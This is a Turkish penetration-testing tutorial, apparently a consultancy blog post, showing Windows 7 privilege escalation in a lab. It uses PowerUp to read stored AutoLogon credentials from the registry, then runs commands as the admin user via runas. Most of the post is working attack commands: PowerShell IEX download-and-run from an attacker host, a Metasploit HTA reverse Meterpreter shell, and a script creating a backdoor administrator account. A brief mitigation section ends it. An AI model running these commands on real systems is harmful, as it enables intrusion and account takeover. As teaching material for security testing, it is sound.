PowerUp Betiği ile Tespit Edilen Kimlik Bilgilerini Kullanarak Hak Yükseltme

0
676
views
Windows sızma testleri sırasında yapılandırma ayarlarının güvenilir bir şekilde gerçekleştirilmemesi ve gerekli yamaların geçilmemesinden dolayı hak yükseltme saldırıları gerçekleştirilebilir. Bu yazıda, standart kullanıcı yetkileri ile erişilen Windows 7 işletim sisteminde otomatik oturum açmak için kaydedilmiş kimlik bilgileri kullanılarak yetkili kullanıcı hakları ile komut çalıştırılacaktır.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

 

A) Ortamın Hazırlanması

Mevcut ortamda “Egitim” ve “Yonetici” adlı kullanıcı adlı hesaplar yerel yönetici yetkisine sahip iken; “YetkisizHesap” adlı kullanıcı ise standart yetkiye sahiptir. Bilgisayar açıldığında “Egitim” kullanıcısı ile oturum açabilmek için User Accounts penceresinde bir takım ayarlar yapılabilir.

netplwiz

 

“Egitim” kullanıcısı seçildikten sonra, kırmızı ile belirtilen kutucuktaki seçim kaldırılıp, açılan pencerede parola bilgisi yeniden girildiğinde, bilgisayar açılışında “Egitim” kullanıcısı ile otomatik olarak oturum açılması sağlanacaktır.

 

Bu ayarlamalar sonucunda Winlogon anahtarı altında kimlik bilgileri oluşmaktadır.

  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
    • DefaultDomainName
    • DefaultUserName
    • DefaultPassword

 

B) PowerUp Betiği ile AutoAdminLogon Bilgilerinin Tespiti

Windows ortamındaki yapılandırma hatalarını tespit etmek için kullanılabilecek betiklerden birisi de PowerUp betiğidir.

https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc

 

Bu betik ile zafiyete sebep olabilecek servisler, kayıt değerleri veya zamanlanmış görevler, Group Policy Preferences (GPP) ayarlarına ait XML dosyaları, kütüphane (DLL) veya web.config gibi dosyalar tespit edilebilir. Kullanılan metodlar aşağıdaki gibi sıralanabilir.

  • Find-DLLHijack
  • Find-PathHijack
  • Get-ApplicationHost
  • Get-ModifiableFile
  • Get-RegAlwaysInstallElevated
  • Get-RegAutoLogon
  • Get-ServiceDetail
  • Get-ServiceFilePermission
  • Get-ServicePermission
  • Get-ServiceUnquoted
  • Get-UnattendedInstallFile
  • Get-VulnAutoRun
  • Get-VulnSchTask
  • Get-Webconfig
  • Install-ServiceBinary
  • Invoke-AllChecks
  • Invoke-ServiceAbuse
  • Invoke-ServiceDisable
  • Invoke-ServiceEnable
  • Invoke-ServiceStart
  • Invoke-ServiceStop
  • Restore-ServiceBinary
  • Test-ServiceDaclPermission
  • Write-HijackDll
  • Write-ServiceBinary
  • Write-UserAddMSI

 

İlgili betik saldırı amacı ile kullanılan Kali bilgisayarına indirilir.

wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1 -O ZafiyetAra.ps1
wc -l ZafiyetAra.ps1
file ZafiyetAra.ps1
sha1sum ZafiyetAra.ps1

 

Mevcut durumda, Kali üzerinde YetkisizHesap adlı kullanıcının yetkileri ile komut satırı erişimi elde edilmiştir.

whoami
whoami /priv

 

Kali üzerinde dinleyici başlatılır.

python3 -m http.server 80

 

PowerUp betiği Kali üzerinden indirilip çalıştırılması ve sonucunun dönmesi amaçlanmaktadır. Bu amaçla dosyanın sonuna tüm kontrollerin yapılması için Invoke-AllChecks fonksiyonu eklenir.

tail -8 ZafiyetAra.ps1
echo “Invoke-AllChecks” >> ZafiyetAra.ps1
tail -9 ZafiyetAra.ps1

 

YetkisizHesap komut satırında PowerUp betiği indirilerek çalıştırıldığında zafiyetli durumlar listelenmiş olur.

powershell IEX(New-Object Net.WebClient).downloadString(‘http://192.168.100.143/ZafiyetAra.ps1’)

 

Keşfedilen yapılandırma hatalarından birisi de AutoLogon kimlik bilgileridir.

 

Bu sonucu veren komutlar aşağıdaki satırlardır.


$DefaultDomainName = $(Get-ItemProperty -Path “HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” -Name DefaultDomainName -ErrorAction SilentlyContinue).DefaultDomainName
$DefaultUserName = $(Get-ItemProperty -Path “HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” -Name DefaultUserName -ErrorAction SilentlyContinue).DefaultUserName
$DefaultPassword = $(Get-ItemProperty -Path “HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” -Name DefaultPassword -ErrorAction SilentlyContinue).DefaultPassword
..

 

Sonuç olarak aşağıdaki gibi kimlik bilgileri elde edilmiştir.

  • DefaultDomainName: WORKGROUP
  • DefaultUserName: egitim
  • DefaultPassword: KarmasikParola123

 

C) Etkileşimli Komut Satırında Başka Bir Kullanıcı Yetkisi İle Komut Çalıştırma

Mevcut ortamda etkileşimsiz komut satırı elde edilmiştir. Etkileşimli komut satırı elde edilmiş olması durumunda runas aracı ile komut çalıştırılabilir veya komut çalıştırılabilir.

runas /profile /env /user:WORKGROUP\egitim cmd

whoami

 

Yetkili kullanıcı hakları ile yeni bir kullanıcı oluşturulabilir, YetkisizHesap adlı kullanıcı hesabı Administrators grubuna eklenebilir, arka kapı bırakılabilir, yetkili kullanıcı hakları ile zararlı bir dosya tetiklenebilir.

Örneğin, MSF hta_server istismar modülü ile oluşturulan HTA dosyası çağırılarak ters Meterpreter bağlantısı elde edilebilir. Bu amaçla HTA servisi Kali üzerinde başlatılır.

use exploit/windows/misc/hta_server
set SRVHOST 192.168.100.144
set LHOST 192.168.100.144
exploit

 

Kurban bilgisayarda runas aracı sayesinde egitim kullanıcısı yetkileri ile mshta aracı çalıştırılabilir.

runas /profile /env /user:WORKGROUP\egitim “mshta.exe http://192.168.100.144:8080/5VDYH2wP2q0nH.hta”

 

Böylece Kali üzerinde Meterpreter bağlantısı yakalanabilir.

sessions -i 1
getuid

 

 

D) Etkileşimsiz Komut Satırında Başka Bir Kullanıcı Yetkisi İle Komut Çalıştırma

Etkileşimli komut satırı erişiminin elde edilemediği durumlarda ise, Powershell ile komut çalıştırılabilir. Örneğin, Egitim adlı yetkili kullanıcının hakları ile yeni bir yerel yönetici kullanıcısı oluşturmaya yarayan bir betik çalıştırılabilir. Bunun için öncelikle bu betik Kali üzerinde oluşturulur.

nano Calistir.bat
cat Calistir.bat

 

Calistir.bat dosya içeriği aşağıdaki gibidir.

net user YeniHesap Yy123456 /add
net localgroup Administrators YeniHesap /add

 

Bu betiği “Egitim” kullanıcısına ait kimlik bilgileri ile çalıştırmaya yarayan betik Kali üzerinde oluşturulur.

nano HakYukselt.ps1
cat HakYukselt.ps1

 

HakYukselt.ps1 dosya içeriği aşağıdaki gibidir.

$KullaniciAdi = “$env:COMPUTERNAME\egitim”
$Parola = ConvertTo-SecureString “KarmasikParola123” -AsPlainText -force
$KimlikBilgisi = New-Object System.Management.Automation.PSCredential -ArgumentList $KullaniciAdi, $Parola
Start-Process powershell.exe -Credential $KimlikBilgisi -ArgumentList “Start-Process C:\Windows\TEMP\Calistir.bat”

 

YetkisizHesap haklı ile elde edilmiş olan etkileşimsiz komut satırında Calistir.bat dosyasının indirilip, HakYukselt.ps1 dosyasının çalıştırılabildiği görülmektedir.

net user
powershell -c “(New-Object System.Net.WebClient).DownloadFile(‘http://192.168.100.143/Calistir.bat’,’C:\Windows\TEMP\Calistir.bat’)”
powershell IEX(New-Object Net.WebClient).downloadString(‘http://192.168.100.143/HakYukselt.ps1’)

 

Böylece yeni bir yerel yönetici kullanıcısının oluşturulabilmiştir.

net user
net localgroup Administrators

 

E) Önlemi

Varsayılan kimlik bilgileri ile oturum açma özelliği kullanılmamalıdır. Bu gibi bir ihtiyaç varsa da kimlik bilgileri kayıt defteri içerisinde (LSASecret) şifreli olarak saklanmalıdır.

HKLM\SECURITY\Policy\Secrets

Not: Servis hesaplarına ait kimlik bilgileri, otomatik oturumlara ait kimlik bilgileri, uygulama kimlik bilgileri kayıt defteri üzerinde şifreli olarak saklanabilir. Bu şifreli değerleri sadece NT AUTHORITY\SYSTEM ile erişilebilir. Ancak yerel yönetici yetkisindeki bir kullanıcı LocalSystem yetkisine erişebildiği için, yönetici yetkisindeki bir kullanıcı bu kimlik bilgilerini deşifre edebilir. Deşifre işlemi için kullanılabilecek Wİndows API metodları aşağıdaki gibi sıralanabilir.

  • LsaRetrievePrivateData
  • LsaStorePrivateData
  • LsaOpenPolicy
  • LsaNtStatusToWinError
  • LsaClose
  • LsaFreeMemory

 

Kaynaklar:

https://www.lifewire.com/how-do-i-auto-login-to-windows-2626066
https://community.spiceworks.com/topic/2154307-runas-with-pscredential
https://www.exploit-db.com/docs/english/46131-windows-privilege-escalations.pdf
https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/
https://www.slideshare.net/NetSPI/extracting-credentials-from-windows

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.